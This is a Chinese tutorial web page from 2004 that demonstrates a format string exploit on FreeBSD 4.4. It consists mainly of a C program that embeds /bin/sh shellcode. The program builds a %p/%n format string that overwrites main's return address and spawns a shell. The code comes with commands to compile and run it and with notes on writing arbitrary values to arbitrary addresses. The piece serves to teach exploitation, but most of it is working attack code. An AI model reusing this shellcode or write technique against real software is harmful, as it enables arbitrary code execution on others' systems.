文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 国产软件 | 国外软件 | 汉化补丁 | 设为首页 | 加入收藏
业界资讯 | 图形图像 | 操作系统 | 网络冲浪 | 工具软件 | 办公软件 | 媒体动画 | 精文荟萃 | 认证考试 | 网站建设 | 技术开发 | 专栏
当前位置:abcdown网络学院电脑入门教你一招FreeBSD格式化字符串简单演示
精品广告
推荐TOP10
·教你如何编写游戏外挂
·高手都是这样清除系统垃圾的
·BIOS设置图解教程
·电脑反应慢的故障分析
·怎么添加动态屏幕保护?
·突破网盘限制 两招获取Fs2You真实地址
·打开文件夹为何突然变慢?
·看内存不能为read written 解决方法
·常见光盘文件系统标准汇总
·让电脑在插入自己的优盘后才能启动
阅读TOP10
·将系统装到U盘中 如何自制XP@USB启动盘
·教你如何编写游戏外挂
·英文感谢信模板
·多普达830如何用pim.vol写进手机方法
·高手都是这样清除系统垃圾的
·标题栏字体变小的原因以及根治方法
·BIOS设置图解教程
·UltraEdit简明使用教程
·清除google搜索栏中的历史记录
·玩转开机画面:Bios logo轻松改

FreeBSD格式化字符串简单演示

日期:2004年7月9日 作者:清风网络学院 查看:[大字体 中字体 小字体]


/* simple example for printf ex on FreeBSD */
#include<stdio.h>
char shell[]=
"1\xc0t\f_PPWW\x88G\a\xb0;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh";
long addr,length=shell-152;
char *pc = (char *)&addr;
int main(int argc,char * argv[])
{
  long p[1];
  char buff[76];
  addr = (long ) &p[2];
  sprintf(buff,"%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up\
  %%nCCC%c%c%c%c",length,pc[0],pc[1],pc[2],pc[3]);
  printf(buff);//所有的安全问题都在这,我们就是通过这得到shell的 ^_*
}

这样我们通过修改addr和length就能修改任意地址,写入任意内容
addr就是我们将要修改的地址
length+17x4+7 就是我们要填入的内容
在这儿addr=&p[2]就是main的返回地址 buff-28就是print返回地址 . . . .
length+17x4+7即为shell的地址,这样就回到了shell上运行得到了一个shell
当然你也可以指定addr为printf函数返回地址等 . . ..
gcc printfex.c -o ex
./ex >/dev/null#为了防止打印太多东西从定向(要不然shell出现之前得要打印几分钟)
好了现在什么也没有显示了,shell的输出都被从定向到/dev/null下了呵呵
随便敲一个 touch /tmp/testtest
exit
好了回到shell了去看看/tmp/testtest产生了没有.

//说明,本文不是入门级的,如果有什么不清楚请参阅网上相应文章
//最好建议自己打开gdb来调试
//Tested on FreeBSD4.4
  __ by watercloud __



上一篇:利用ADMmutate测试NIDS

下一篇:单字节缓冲区溢出


相关软件: 相关文章:
·如何实现一个表格表头不动tbody区域用滚动条可以滚动
·怎样把CD格式转换成MP3格式
·3gp转换为avi格式的软件
·所有的文件格式介绍
·如何将DVD影片转换为DVDrip格式?
·如何将RM,RMVB转换为VCD或DVD格式?
·Excel XP“单元格”合并与拆分的技巧

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.abcdown.net
首页 | 本站声明 | 下载帮助 | 发布软件 |
中文版权所有:ABC学院 浙ICP备05000717号